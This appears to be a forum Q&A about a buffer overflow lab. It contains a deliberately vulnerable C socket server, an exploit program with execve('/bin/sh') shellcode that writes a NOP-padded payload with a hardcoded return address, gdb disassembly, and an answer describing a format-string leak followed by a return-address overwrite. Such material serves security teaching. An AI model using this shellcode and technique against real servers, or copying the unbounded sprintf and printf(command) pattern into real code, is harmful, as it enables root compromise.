Updated:
Now I have overwrite the return address with the shellcode address, but the program crashes because of the Segmentation Fault.
I used the info frame to locate the return address (eip) at 0xbfffe58c
The start address of command is 0xbfffe520 and I have the shellcode in it. However, I have already overwrite the value of 0xbfffe58c to the shellcode's address, but the application crashes..
I am not sure where I did wrong...
======================================
I have been learning buffer overflow attack recently. After several online tutorials, I got this small task asking me to use buffer overflow to obtain the root access of the server.
Below is the given code.
/* server.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <sys/wait.h>
#define PORT 6060
int exec_command(int sock, char *buf) {
char command[80];
char *command_p=command;
char *val0=0;
char *val1=0;
int status=10;
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO );
sprintf(command_p, "%s", buf);
val1= strtok(command, "\n");
char * argv_list[] = {"/bin/grep", "-i", val1, "notes", NULL};
printf("You have provided: \n");
printf(command);
pid_t id = fork();
if (id == -1) exit(1);
if (id > 0)
{
waitpid(id, &status, 0);
printf("\nTEST\n");
return 0;
} else {
if(execve("/bin/grep", argv_list, NULL)==0){
return -1;
};
}
}
void main()
{
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
int sock,newsock;
char buf[1500];
pid_t pid,current = getpid();
int ret_val;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("Error opening socket");
exit(1);
}
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
ret_val = bind(sock, (struct sockaddr *) &server, sizeof(server));
if (ret_val < 0) {
perror("ERROR on binding");
close(sock);
exit(1);
}
while (1) {
listen(sock, 5);
clientLen = sizeof(client);
newsock = accept(sock, (struct sockaddr *) &client, &clientLen);
if (newsock < 0) {
perror("Error on accept");
exit(1);
}
bzero(buf, 1500);
recvfrom(newsock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
printf("the buf: %s||\n",buf);
exec_command(newsock, buf);
//printf("the end\n");
close(newsock);
}
close(sock);
}
My approach is to:
Here is my exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,shellcode);
strcpy(buffer+0x265,"\x84\xe6\xff\xbf");
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
I was asked to fill the code to perform the attack. And I am also allowed to use gdb to find desired address. Here is what I filled in.
strcpy(buffer,shellcode);
strcpy(buffer+0x265,"\x84\xe6\xff\xbf");
I could get the address of the buf[] by putting break point when debug server.c.
b main
p /x &buf
But I have problem identify the return address. I tried to use the disass to find the return address of the exec_function because I noticed that it uses sprintf function which has the overflow vulnerability. But I am having issues reading the assembly language for exec_function.
0x080487db <+0>: push ebp
0x080487dc <+1>: mov ebp,esp
0x080487de <+3>: sub esp,0x88
=> 0x080487e4 <+9>: lea eax,[ebp-0x68]
0x080487e7 <+12>: mov DWORD PTR [ebp-0xc],eax
0x080487ea <+15>: mov DWORD PTR [ebp-0x10],0x0
0x080487f1 <+22>: mov DWORD PTR [ebp-0x14],0x0
0x080487f8 <+29>: mov DWORD PTR [ebp-0x6c],0xa
0x080487ff <+36>: sub esp,0xc
0x08048802 <+39>: push 0x1
0x08048804 <+41>: call 0x80486c0 <close@plt>
0x08048809 <+46>: add esp,0x10
0x0804880c <+49>: sub esp,0xc
0x0804880f <+52>: push 0x2
0x08048811 <+54>: call 0x80486c0 <close@plt>
0x08048816 <+59>: add esp,0x10
0x08048819 <+62>: sub esp,0x8
0x0804881c <+65>: push 0x1
0x0804881e <+67>: push DWORD PTR [ebp+0x8]
0x08048821 <+70>: call 0x8048570 <dup2@plt>
0x08048826 <+75>: add esp,0x10
0x08048829 <+78>: sub esp,0x8
0x0804882c <+81>: push 0x2
0x0804882e <+83>: push DWORD PTR [ebp+0x8]
0x08048831 <+86>: call 0x8048570 <dup2@plt>
0x08048836 <+91>: add esp,0x10
0x08048839 <+94>: sub esp,0x8
0x0804883c <+97>: push DWORD PTR [ebp+0xc]
0x0804883f <+100>: push DWORD PTR [ebp-0xc]
0x08048842 <+103>: call 0x80485f0 <strcpy@plt>
0x08048847 <+108>: add esp,0x10
0x0804884a <+111>: sub esp,0x8
0x0804884d <+114>: push 0x8048b30
0x08048852 <+119>: lea eax,[ebp-0x68]
0x08048855 <+122>: push eax
0x08048856 <+123>: call 0x8048670 <strtok@plt>
0x0804885b <+128>: add esp,0x10
0x0804885e <+131>: mov DWORD PTR [ebp-0x14],eax
0x08048861 <+134>: mov DWORD PTR [ebp-0x80],0x8048b32
0x08048868 <+141>: mov DWORD PTR [ebp-0x7c],0x8048b3c
0x0804886f <+148>: mov eax,DWORD PTR [ebp-0x14]
0x08048872 <+151>: mov DWORD PTR [ebp-0x78],eax
0x08048875 <+154>: mov DWORD PTR [ebp-0x74],0x8048b3f
0x0804887c <+161>: mov DWORD PTR [ebp-0x70],0x0
0x08048883 <+168>: sub esp,0xc
0x08048886 <+171>: push 0x8048b45
0x0804888b <+176>: call 0x8048610 <puts@plt>
0x08048890 <+181>: add esp,0x10
0x08048893 <+184>: sub esp,0xc
0x08048896 <+187>: lea eax,[ebp-0x68]
0x08048899 <+190>: push eax
0x0804889a <+191>: call 0x8048580 <printf@plt>
0x0804889f <+196>: add esp,0x10
0x080488a2 <+199>: call 0x8048680 <fork@plt>
0x080488a7 <+204>: mov DWORD PTR [ebp-0x18],eax
0x080488aa <+207>: cmp DWORD PTR [ebp-0x18],0xffffffff
0x080488ae <+211>: jne 0x80488ba <exec_command+223>
0x080488b0 <+213>: sub esp,0xc
0x080488b3 <+216>: push 0x1
0x080488b5 <+218>: call 0x8048620 <exit@plt>
0x080488ba <+223>: cmp DWORD PTR [ebp-0x18],0x0
0x080488be <+227>: jle 0x80488eb <exec_command+272>
0x080488c0 <+229>: sub esp,0x4
0x080488c3 <+232>: push 0x0
0x080488c5 <+234>: lea eax,[ebp-0x6c]
0x080488c8 <+237>: push eax
0x080488c9 <+238>: push DWORD PTR [ebp-0x18]
0x080488cc <+241>: call 0x80485e0 <waitpid@plt>
0x080488d1 <+246>: add esp,0x10
0x080488d4 <+249>: sub esp,0xc
0x080488d7 <+252>: push 0x8048b59
0x080488dc <+257>: call 0x8048610 <puts@plt>
0x080488e1 <+262>: add esp,0x10
0x080488e4 <+265>: mov eax,0x0
0x080488e9 <+270>: jmp 0x804890c <exec_command+305>
0x080488eb <+272>: sub esp,0x4
0x080488ee <+275>: push 0x0
0x080488f0 <+277>: lea eax,[ebp-0x80]
0x080488f3 <+280>: push eax
0x080488f4 <+281>: push 0x8048b32
0x080488f9 <+286>: call 0x8048640 <execve@plt>
0x080488fe <+291>: add esp,0x10
0x08048901 <+294>: test eax,eax
0x08048903 <+296>: jne 0x804890c <exec_command+305>
0x08048905 <+298>: mov eax,0xffffffff
0x0804890a <+303>: jmp 0x804890c <exec_command+305>
0x0804890c <+305>: leave
0x0804890d <+306>: ret
How can I identify the return address? In a more general way, what is the best practice to find such an address?
Actually your code is vulnerable to 2 different things. Format string abuse and buffer overflow.
This is a typical exercise so my guess is that ASLR is enabled on the machine you're trying to exploit. This means that the return address will always be different each time you execute/trigger the vulnerable program. Because of that you won't be able to predict the return address using GDB.
The trick here is to run the exec_command
function a first time to leak a stack address thanks to the format string vulnerability :
printf(command);
And then execute the exec_command
a second time to exploit the buffer overflow by overwriting the return address with the address of your shellcode (calculated from the previously leaked address + offset).
User contributions licensed under CC BY-SA 3.0